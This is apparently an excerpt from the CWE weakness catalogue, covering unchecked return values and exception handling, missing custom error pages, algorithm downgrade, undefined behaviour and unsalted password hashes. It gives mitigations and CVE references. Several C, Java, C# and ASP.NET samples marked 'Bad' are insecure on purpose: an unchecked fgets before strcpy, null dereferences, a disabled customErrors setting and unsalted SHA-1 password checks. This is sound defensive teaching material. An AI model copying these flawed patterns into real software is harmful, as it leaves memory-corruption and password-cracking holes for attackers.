Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. Choose languages with features such as exception handling that force the programmer to anticipate unusual conditions that may generate exceptions. Custom exceptions may need to be developed to handle unusual business-logic conditions. Be careful not to pass sensitive exceptions back to the user (CWE-209, CWE-248).

### Phase: Implementation

Check the results of all functions that return a value and verify that the value is expected.

*Effectiveness = High*

*Checking the return value of the function will typically be sufficient, however beware of race conditions (CWE-362) in a concurrent environment.*

### Phase: Implementation

If using exception handling, catch and throw specific exceptions instead of overly-general exceptions (CWE-396, CWE-397). Catch and handle exceptions as locally as possible so that exceptions do not propagate too far up the call stack (CWE-705). Avoid unchecked or uncaught exceptions where feasible (CWE-248).

*Effectiveness = High*

*Using specific exceptions, and ensuring that exceptions are checked, helps programmers to anticipate and appropriately handle many unusual events that could occur.*

### Phase: Implementation

Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not. Exposing additional information to a potential attacker in the context of an exceptional condition can help the attacker determine what attack vectors are most likely to succeed beyond DoS.

### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be

syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

### Phase: Architecture and Design

#### Phase: Implementation

If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery.

### Phase: Architecture and Design

Use system limits, which should help to prevent resource exhaustion. However, the product should still handle low resource conditions since they may still occur.

## Demonstrative Examples

### Example 1:

Consider the following code segment:

*Example Language: C*

*(Bad)*

```
char buf[10], cp_buf[10];
fgets(buf, 10, stdin);
strcpy(cp_buf, buf);
```

The programmer expects that when `fgets()` returns, `buf` will contain a null-terminated string of length 9 or less. But if an I/O error occurs, `fgets()` will not null-terminate `buf`. Furthermore, if the end of the file is reached before any characters are read, `fgets()` returns without writing anything to `buf`. In both of these situations, `fgets()` signals that something unusual has happened by returning `NULL`, but in this code, the warning will not be noticed. The lack of a null terminator in `buf` can result in a buffer overflow in the subsequent call to `strcpy()`.

### Example 2:

The following code does not check to see if memory allocation succeeded before attempting to use the pointer returned by `malloc()`.

*Example Language: C*

*(Bad)*

```
buf = (char*) malloc(req_size);
strcpy(buf, xfer, req_size);
```

The traditional defense of this coding error is: "If my program runs out of memory, it will fail. It doesn't matter whether I handle the error or simply allow the program to die with a segmentation fault when it tries to dereference the null pointer." This argument ignores three important considerations:

- Depending upon the type and size of the application, it may be possible to free memory that is being used elsewhere so that execution can continue.
- It is impossible for the program to perform a graceful exit if required. If the program is performing an atomic operation, it can leave the system in an inconsistent state.
- The programmer has lost the opportunity to record diagnostic information. Did the call to `malloc()` fail because `req_size` was too large or because there were too many requests being

handled at the same time? Or was it caused by a memory leak that has built up over time?  
Without handling the error, there is no way to know.

### Example 3:

The following examples read a file into a byte array.

*Example Language: C#*

*(Bad)*

```
char[] byteArray = new char[1024];
for (IEnumerator i=users.GetEnumerator(); i.MoveNext() ;i.Current()) {
    String userName = (String) i.Current();
    String pFileName = PFILE_ROOT + "/" + userName;
    StreamReader sr = new StreamReader(pFileName);
    sr.Read(byteArray,0,1024);//the file is always 1k bytes
    sr.Close();
    processPFile(userName, byteArray);
}
```

*Example Language: Java*

*(Bad)*

```
FileInputStream fis;
byte[] byteArray = new byte[1024];
for (Iterator i=users.iterator(); i.hasNext();) {
    String userName = (String) i.next();
    String pFileName = PFILE_ROOT + "/" + userName;
    FileInputStream fis = new FileInputStream(pFileName);
    fis.read(byteArray); // the file is always 1k bytes
    fis.close();
    processPFile(userName, byteArray);
}
```

The code loops through a set of users, reading a private data file for each user. The programmer assumes that the files are always 1 kilobyte in size and therefore ignores the return value from Read(). If an attacker can create a smaller file, the program will recycle the remainder of the data from the previous user and treat it as though it belongs to the attacker.

### Example 4:

The following code does not check to see if the string returned by getParameter() is null before calling the member function compareTo(), potentially causing a NULL dereference.

*Example Language: Java*

*(Bad)*

```
String itemName = request.getParameter(ITEM_NAME);
if (itemName.compareTo(IMPORTANT_ITEM) == 0) {
    ...
}
...
```

The following code does not check to see if the string returned by the Item property is null before calling the member function Equals(), potentially causing a NULL dereference.

*Example Language: Java*

*(Bad)*

```
String itemName = request.Item(ITEM_NAME);
if (itemName.Equals(IMPORTANT_ITEM)) {
    ...
}
...
```

The traditional defense of this coding error is: "I know the requested value will always exist because.... If it does not exist, the program cannot perform the desired behavior so it doesn't matter whether I handle the error or simply allow the program to die dereferencing a null value." But

attackers are skilled at finding unexpected paths through programs, particularly when exceptions are involved.

#### Example 5:

The following code shows a system property that is set to null and later dereferenced by a programmer who mistakenly assumes it will always be defined.

Example Language: Java

(Bad)

```
System.clearProperty("os.name");
...
String os = System.getProperty("os.name");
if (os.equalsIgnoreCase("Windows 95")) System.out.println("Not supported");
```

The traditional defense of this coding error is: "I know the requested value will always exist because.... If it does not exist, the program cannot perform the desired behavior so it doesn't matter whether I handle the error or simply allow the program to die dereferencing a null value." But attackers are skilled at finding unexpected paths through programs, particularly when exceptions are involved.

#### Example 6:

The following VB.NET code does not check to make sure that it has read 50 bytes from myfile.txt. This can cause DoDangerousOperation() to operate on an unexpected value.

Example Language: C#

(Bad)

```
Dim MyFile As New FileStream("myfile.txt", FileMode.Open, FileAccess.Read, FileShare.Read)
Dim MyArray(50) As Byte
MyFile.Read(MyArray, 0, 50)
DoDangerousOperation(MyArray(20))
```

In .NET, it is not uncommon for programmers to misunderstand Read() and related methods that are part of many System.IO classes. The stream and reader classes do not consider it to be unusual or exceptional if only a small amount of data becomes available. These classes simply add the small amount of data to the return buffer, and set the return value to the number of bytes or characters read. There is no guarantee that the amount of data returned is equal to the amount of data requested.

#### Example 7:

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

Example Language: C

(Bad)

```
void host_lookup(char *user_supplied_addr){
    struct hostent *hp;
    in_addr_t *addr;
    char hostname[64];
    in_addr_t inet_addr(const char *cp);
    /*routine that ensures user_supplied_addr is in the right format for conversion */
    validate_addr_form(user_supplied_addr);
    addr = inet_addr(user_supplied_addr);
    hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
    strcpy(hostname, hp->h_name);
}
```

If an attacker provides an address that appears to be well-formed, but the address does not resolve to a hostname, then the call to gethostbyaddr() will return NULL. Since the code does not check the return value from gethostbyaddr (CWE-252), a NULL pointer dereference (CWE-476) would then occur in the call to strcpy().

Note that this code is also vulnerable to a buffer overflow (CWE-119).

### Example 8:

In the following C/C++ example the method `outputStringToFile` opens a file in the local filesystem and outputs a string to the file. The input parameters `output` and `filename` contain the string to output to the file and the name of the file respectively.

Example Language: C++

(Bad)

```
int outputStringToFile(char *output, char *filename) {
    openFileToWrite(filename);
    writeToFile(output);
    closeFile(filename);
}
```

However, this code does not check the return values of the methods `openFileToWrite`, `writeToFile`, `closeFile` to verify that the file was properly opened and closed and that the string was successfully written to the file. The return values for these methods should be checked to determine if the method was successful and allow for detection of errors or unexpected conditions as in the following example.

Example Language: C++

(Good)

```
int outputStringToFile(char *output, char *filename) {
    int isOutput = SUCCESS;
    int isOpen = openFileToWrite(filename);
    if (isOpen == FAIL) {
        printf("Unable to open file %s", filename);
        isOutput = FAIL;
    }
    else {
        int isWrite = writeToFile(output);
        if (isWrite == FAIL) {
            printf("Unable to write to file %s", filename);
            isOutput = FAIL;
        }
        int isClose = closeFile(filename);
        if (isClose == FAIL)
            isOutput = FAIL;
    }
    return isOutput;
}
```

### Example 9:

In the following Java example the method `readFromFile` uses a `FileReader` object to read the contents of a file. The `FileReader` object is created using the `File` object `readFile`, the `readFile` object is initialized using the `setInputFile` method. The `setInputFile` method should be called before calling the `readFromFile` method.

Example Language: Java

(Bad)

```
private File readFile = null;
public void setInputFile(String inputFile) {
    // create readFile File object from string containing name of file
}
public void readFromFile() {
    try {
        reader = new FileReader(readFile);
        // read input file
    } catch (FileNotFoundException ex) {...}
}
```

However, the `readFromFile` method does not check to see if the `readFile` object is null, i.e. has not been initialized, before creating the `FileReader` object and reading from the input file. The `readFromFile` method should verify whether the `readFile` object is null and output an error message and raise an exception if the `readFile` object is null, as in the following code.

Example Language: Java

(Good)

```
private File readFile = null;
public void setInputFile(String inputFile) {
    // create readFile File object from string containing name of file
}
public void readFromFile() {
    try {
        if (readFile == null) {
            System.err.println("Input file has not been set, call setInputFile method before calling openInputFile");
            throw NullPointerException;
        }
        reader = new FileReader(readFile);
        // read input file
    } catch (FileNotFoundException ex) {...}
    catch (NullPointerException ex) {...}
}
```

## Observed Examples

Reference	Description
<b>CVE-2007-3798</b>	Unchecked return value leads to resultant integer overflow and code execution. <a href="https://www.cve.org/CVERecord?id=CVE-2007-3798">https://www.cve.org/CVERecord?id=CVE-2007-3798</a>
<b>CVE-2006-4447</b>	Program does not check return value when invoking functions to drop privileges, which could leave users with higher privileges than expected by forcing those functions to fail. <a href="https://www.cve.org/CVERecord?id=CVE-2006-4447">https://www.cve.org/CVERecord?id=CVE-2006-4447</a>
<b>CVE-2006-2916</b>	Program does not check return value when invoking functions to drop privileges, which could leave users with higher privileges than expected by forcing those functions to fail. <a href="https://www.cve.org/CVERecord?id=CVE-2006-2916">https://www.cve.org/CVERecord?id=CVE-2006-2916</a>

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
MemberOf	<input checked="" type="checkbox"/>	742	CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)	<input checked="" type="checkbox"/>	734 2139
MemberOf	<input checked="" type="checkbox"/>	802	2010 Top 25 - Risky Resource Management	<input checked="" type="checkbox"/>	800 2148
MemberOf	<input checked="" type="checkbox"/>	867	2011 Top 25 - Weaknesses On the Cusp	<input checked="" type="checkbox"/>	900 2166
MemberOf	<input checked="" type="checkbox"/>	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	<input checked="" type="checkbox"/>	868 2170
MemberOf	<input checked="" type="checkbox"/>	880	CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)	<input checked="" type="checkbox"/>	868 2173
MemberOf	<input checked="" type="checkbox"/>	962	SFP Secondary Cluster: Unchecked Status Condition	<input checked="" type="checkbox"/>	888 2193
MemberOf	<input checked="" type="checkbox"/>	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	<input checked="" type="checkbox"/>	1003 2336
MemberOf	<input checked="" type="checkbox"/>	1141	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 07. Exceptional Behavior (ERR)	<input checked="" type="checkbox"/>	1133 2241
MemberOf	<input checked="" type="checkbox"/>	1181	SEI CERT Perl Coding Standard - Guidelines 03. Expressions (EXP)	<input checked="" type="checkbox"/>	1178 2259



Nature	Type	ID	Name	V	Page
MemberOf	C	1364	ICS Communications: Zone Boundary Failures	1358	2294

## Notes

### Relationship

Sometimes, when a return value can be used to indicate an error, an unchecked return value is a code-layer instance of a missing application-layer check for exceptional conditions. However, return values are not always needed to communicate exceptional conditions. For example, expiration of resources, values passed by reference, asynchronously modified data, sockets, etc. may indicate exceptional conditions without the use of a return value.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
SEI CERT Perl Coding Standard	EXP31-PL	CWE More Abstract	Do not suppress or ignore exceptions

## References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-622]Frank Kim. "Top 25 Series - Rank 15 - Improper Check for Unusual or Exceptional Conditions". 2010 March 5. SANS Software Security Institute. < <http://blogs.sans.org/appsecstreetfighter/2010/03/15/top-25-series-rank-15-improper-check-for-unusual-or-exceptional-conditions/> >.

## CWE-755: Improper Handling of Exceptional Conditions

**Weakness ID** : 755

**Structure** : Simple

**Abstraction** : Class

### Description

The product does not handle or incorrectly handles an exceptional condition.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	703	Improper Check or Handling of Exceptional Conditions	1433
ParentOf	B	209	Generation of Error Message Containing Sensitive Information	510
ParentOf	B	274	Improper Handling of Insufficient Privileges	629
ParentOf	B	280	Improper Handling of Insufficient Permissions or Privileges	638
ParentOf	B	390	Detection of Error Condition Without Action	893
ParentOf	B	395	Use of NullPointerException Catch to Detect NULL Pointer Dereference	906

Nature	Type	ID	Name	Page
ParentOf	B	396	Declaration of Catch for Generic Exception	908
ParentOf	B	460	Improper Cleanup on Thrown Exception	1041
ParentOf	B	544	Missing Standardized Error Handling Mechanism	1185
ParentOf	C	636	Not Failing Securely ('Failing Open')	1318
ParentOf	B	756	Missing Custom Error Page	1469

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf	C	1020	Verify Message Integrity	2227

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Likelihood Of Exploit

Medium

### Common Consequences

Scope	Impact	Likelihood
Other	Other	

### Observed Examples

Reference	Description
<b>CVE-2021-3011</b>	virtual interrupt controller in a virtualization product allows crash of host by writing a certain invalid value to a register, which triggers a fatal error instead of returning an error code <a href="https://www.cve.org/CVERecord?id=CVE-2021-3011">https://www.cve.org/CVERecord?id=CVE-2021-3011</a>
<b>CVE-2008-4302</b>	Chain: OS kernel does not properly handle a failure of a function call (CWE-755), leading to an unlock of a resource that was not locked (CWE-832), with resultant crash. <a href="https://www.cve.org/CVERecord?id=CVE-2008-4302">https://www.cve.org/CVERecord?id=CVE-2008-4302</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	880	CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)	868	2173
MemberOf	C	962	SFP Secondary Cluster: Unchecked Status Condition	888	2193
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2336

## CWE-756: Missing Custom Error Page

**Weakness ID** : 756

**Structure** : Simple

**Abstraction** : Base

### Description

The product does not return custom error pages to the user, possibly exposing sensitive information.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		755	Improper Handling of Exceptional Conditions	1468
ParentOf		7	J2EE Misconfiguration: Missing Custom Error Page	4
ParentOf		12	ASP.NET Misconfiguration: Missing Custom Error Page	11
CanPrecede		209	Generation of Error Message Containing Sensitive Information	510

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		389	Error Conditions, Return Values, Status Codes	2115

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data  <i>Attackers can leverage the additional information provided by a default error page to mount attacks targeted on the framework, database, or other resources used by the application.</i>	

### Demonstrative Examples

#### Example 1:

In the snippet below, an unchecked runtime exception thrown from within the try block may cause the container to display its default error page (which may contain a full stack trace, among other things).

*Example Language: Java*

*(Bad)*

```
Public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    try {
        ...
    } catch (ApplicationSpecificException ase) {
        logger.error("Caught: " + ase.toString());
    }
}
```

#### Example 2:

The mode attribute of the <customErrors> tag in the Web.config file defines whether custom or default error pages are used.

In the following insecure ASP.NET application setting, custom error message mode is turned off. An ASP.NET error message with detailed stack trace and platform versions will be returned.

*Example Language: ASP.NET*

*(Bad)*

```
<customErrors mode="Off" />
```

A more secure setting is to set the custom error message mode for remote users only. No defaultRedirect error page is specified. The local user on the web server will see a detailed stack trace. For remote users, an ASP.NET error message with the server customError configuration setting and the platform version will be returned.

Example Language: ASP.NET

(Good)

```
<customErrors mode="RemoteOnly" />
```

Another secure option is to set the mode attribute of the <customErrors> tag to use a custom page as follows:

Example Language: ASP.NET

(Good)

```
<customErrors mode="On" defaultRedirect="YourErrorPage.htm" />
```

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2193
MemberOf	C	1349	OWASP Top Ten 2021 Category A05:2021 - Security Misconfiguration	1344	2286

## CWE-757: Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade')

**Weakness ID :** 757

**Structure :** Simple

**Abstraction :** Base

### Description

A protocol or its implementation supports interaction between multiple actors and allows those actors to negotiate which algorithm should be used as a protection mechanism such as encryption or authentication, but it does not select the strongest algorithm that is available to both parties.

### Extended Description

When a security mechanism can be forced to downgrade to use a less secure algorithm, this can make it easier for attackers to compromise the product by exploiting weaker algorithm. The victim might not be aware that the less secure algorithm is being used. For example, if an attacker can force a communications channel to use cleartext instead of strongly-encrypted data, then the attacker could read the channel by sniffing, instead of going through extra effort of trying to decrypt the data using brute force techniques.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	693	Protection Mechanism Failure	1422
PeerOf	B	1328	Security Version Number Mutable to Older Versions	2041

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1013	Encrypt Data	2221

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

### Observed Examples

Reference	Description
<b>CVE-2006-4302</b>	Attacker can select an older version of the software to exploit its vulnerabilities. <a href="https://www.cve.org/CVERecord?id=CVE-2006-4302">https://www.cve.org/CVERecord?id=CVE-2006-4302</a>
<b>CVE-2006-4407</b>	Improper prioritization of encryption ciphers during negotiation leads to use of a weaker cipher. <a href="https://www.cve.org/CVERecord?id=CVE-2006-4407">https://www.cve.org/CVERecord?id=CVE-2006-4407</a>
<b>CVE-2005-2969</b>	chain: SSL/TLS implementation disables a verification step (CWE-325) that enables a downgrade attack to a weaker protocol. <a href="https://www.cve.org/CVERecord?id=CVE-2005-2969">https://www.cve.org/CVERecord?id=CVE-2005-2969</a>
<b>CVE-2001-1444</b>	Telnet protocol implementation allows downgrade to weaker authentication and encryption using an Adversary-in-the-Middle AITM attack. <a href="https://www.cve.org/CVERecord?id=CVE-2001-1444">https://www.cve.org/CVERecord?id=CVE-2001-1444</a>
<b>CVE-2002-1646</b>	SSH server implementation allows override of configuration setting to use weaker authentication schemes. This may be a composite with CWE-642. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1646">https://www.cve.org/CVERecord?id=CVE-2002-1646</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		957	SFP Secondary Cluster: Protocol Error	888	2191
MemberOf		1346	OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures	1344	2281

### Notes

#### Relationship

This is related to CWE-300, although not all downgrade attacks necessarily require an entity that redirects or interferes with the network. See examples.

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
220	Client-Server Protocol Manipulation
606	Weakening of Cellular Encryption
620	Drop Encryption Level

## CWE-758: Reliance on Undefined, Unspecified, or Implementation-Defined Behavior

**Weakness ID** : 758

**Structure** : Simple

**Abstraction** : Class

### Description

The product uses an API function, data structure, or other entity in a way that relies on properties that are not always guaranteed to hold for that entity.

### Extended Description

This can lead to resultant weaknesses when the required properties change, such as when the product is ported to a different platform or if an interaction error (CWE-435) occurs.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1444
ParentOf	B	474	Use of Function with Inconsistent Implementations	1067
ParentOf	B	562	Return of Stack Variable Address	1204
ParentOf	B	587	Assignment of a Fixed Address to a Pointer	1244
ParentOf	V	588	Attempt to Access Child of a Non-structure Pointer	1246
ParentOf	C	1038	Insecure Automated Optimizations	1737
ParentOf	B	1102	Reliance on Machine-Dependent Data Representation	1802
ParentOf	B	1103	Use of Platform-Dependent Third Party Components	1803
ParentOf	B	1105	Insufficient Encapsulation of Machine-Dependent Functionality	1804

### Weakness Ordinalities

**Indirect :**

**Primary :**

### Common Consequences

Scope	Impact	Likelihood
Other	Other	

### Observed Examples

Reference	Description
<b>CVE-2006-1902</b>	Change in C compiler behavior causes resultant buffer overflows in programs that depend on behaviors that were undefined in the C standard. <a href="https://www.cve.org/CVERecord?id=CVE-2006-1902">https://www.cve.org/CVERecord?id=CVE-2006-1902</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1001	SFP Secondary Cluster: Use of an Improper API	888	2213
MemberOf	C	1157	SEI CERT C Coding Standard - Guidelines 03. Expressions (EXP)	1154	2248
MemberOf	C	1158	SEI CERT C Coding Standard - Guidelines 04. Integers (INT)	1154	2249
MemberOf	C	1160	SEI CERT C Coding Standard - Guidelines 06. Arrays (ARR)	1154	2250

Nature	Type	ID	Name	V	Page
MemberOf	C	1162	SEI CERT C Coding Standard - Guidelines 08. Memory Management (MEM)	1154	2251
MemberOf	C	1163	SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)	1154	2252
MemberOf	C	1167	SEI CERT C Coding Standard - Guidelines 12. Error Handling (ERR)	1154	2254
MemberOf	C	1170	SEI CERT C Coding Standard - Guidelines 48. Miscellaneous (MSC)	1154	2256
MemberOf	C	1306	CISQ Quality Measures - Reliability	1305	2276

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	ARR32-C	CWE More Abstract	Ensure size arguments for variable length arrays are in a valid range
CERT C Secure Coding	ERR34-C	Imprecise	Detect errors when converting a string to a number
CERT C Secure Coding	EXP30-C	CWE More Abstract	Do not depend on the order of evaluation for side effects
CERT C Secure Coding	EXP33-C	CWE More Abstract	Do not read uninitialized memory
CERT C Secure Coding	FIO46-C	CWE More Abstract	Do not access a closed file
CERT C Secure Coding	INT34-C	CWE More Abstract	Do not shift an expression by a negative number of bits or by greater than or equal to the number of bits that exist in the operand
CERT C Secure Coding	INT36-C	CWE More Abstract	Converting a pointer to integer or integer to pointer
CERT C Secure Coding	MEM30-C	CWE More Abstract	Do not access freed memory
CERT C Secure Coding	MSC14-C		Do not introduce unnecessary platform dependencies
CERT C Secure Coding	MSC15-C		Do not depend on undefined behavior
CERT C Secure Coding	MSC37-C	CWE More Abstract	Ensure that control never reaches the end of a non-void function

## CWE-759: Use of a One-Way Hash without a Salt

**Weakness ID :** 759

**Structure :** Simple

**Abstraction :** Variant

### Description

The product uses a one-way cryptographic hash against an input that should not be reversible, such as a password, but the product does not also use a salt as part of the input.

### Extended Description

This makes it easier for attackers to pre-compute the hash value using dictionary attack techniques such as rainbow tables.

It should be noted that, despite common perceptions, the use of a good salt with a hash does not sufficiently increase the effort for an attacker who is targeting an individual password, or who has a



large amount of computing resources available, such as with cloud-based services or specialized, inexpensive hardware. Offline password cracking can still be effective if the hash function is not expensive to compute; many cryptographic functions are designed to be efficient and can be vulnerable to attacks using massive computing resources, even if the hash is cryptographically strong. The use of a salt only slightly increases the computing requirements for an attacker compared to other strategies such as adaptive hash functions. See CWE-916 for more details.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		916	Use of Password Hash With Insufficient Computational Effort	1688

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1013	Encrypt Data	2221

## Background Details

In cryptography, salt refers to some random addition of data to an input before hashing to make dictionary attacks more difficult.

## Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity	
	<i>If an attacker can gain access to the hashes, then the lack of a salt makes it easier to conduct brute force attacks using techniques such as rainbow tables.</i>	

## Detection Methods

### Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis

*Effectiveness = SOAR Partial*

### Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

*Effectiveness = SOAR Partial*

### Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

*Effectiveness = High*

### Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

*Effectiveness = High*

### Automated Static Analysis

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Configuration Checker

*Effectiveness = SOAR Partial*

### Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

*Effectiveness = High*

## Potential Mitigations

### Phase: Architecture and Design

Use an adaptive hash function that can be configured to change the amount of computational effort needed to compute the hash, such as the number of iterations ("stretching") or the amount of memory required. Some hash functions perform salting automatically. These functions can significantly increase the overhead for a brute force attack compared to intentionally-fast functions such as MD5. For example, rainbow table attacks can become infeasible due to the high computing overhead. Finally, since computing power gets faster and cheaper over time, the technique can be reconfigured to increase the workload without forcing an entire replacement of the algorithm in use. Some hash functions that have one or more of these desired properties include bcrypt [REF-291], scrypt [REF-292], and PBKDF2 [REF-293]. While there is active debate about which of these is the most effective, they are all stronger than using salts with hash functions with very little computing overhead. Note that using these functions can have an impact on performance, so they require special consideration to avoid denial-of-service attacks. However, their configurability provides finer control over how much CPU and memory is used, so it could be adjusted to suit the environment's needs.

*Effectiveness = High*

### Phase: Architecture and Design

If a technique that requires extra computational effort can not be implemented, then for each password that is processed, generate a new random salt using a strong random number generator with unpredictable seeds. Add the salt to the plaintext password before hashing it. When storing the hash, also store the salt. Do not use the same salt for every password.

*Effectiveness = Limited*

*Be aware that salts will not reduce the workload of a targeted attack against an individual hash (such as the password for a critical person), and in general they are less effective than other hashing techniques such as increasing the computation time or memory overhead. Without a built-in workload, modern attacks can compute large numbers of hashes, or even exhaust the entire space of all possible passwords, within a very short amount of time, using massively-parallel computing and GPU, ASIC, or FPGA hardware.*

### Phase: Implementation

### Phase: Architecture and Design

When using industry-approved techniques, use them correctly. Don't cut corners by skipping resource-intensive steps (CWE-325). These steps are often essential for preventing common attacks.

## Demonstrative Examples

**Example 1:**

In both of these examples, a user is logged in if their given password matches a stored password:

*Example Language: C*

*(Bad)*

```
unsigned char *check_passwd(char *plaintext) {
    ctext = simple_digest("sha1",plaintext,strlen(plaintext), ... );
    //Login if hash matches stored hash
    if (equal(ctext, secret_password())) {
        login_user();
    }
}
```

*Example Language: Java*

*(Bad)*

```
String plainText = new String(plainTextIn);
MessageDigest encer = MessageDigest.getInstance("SHA");
encer.update(plainTextIn);
byte[] digest = password.digest();
//Login if hash matches stored hash
if (equal(digest,secret_password())) {
    login_user();
}
```

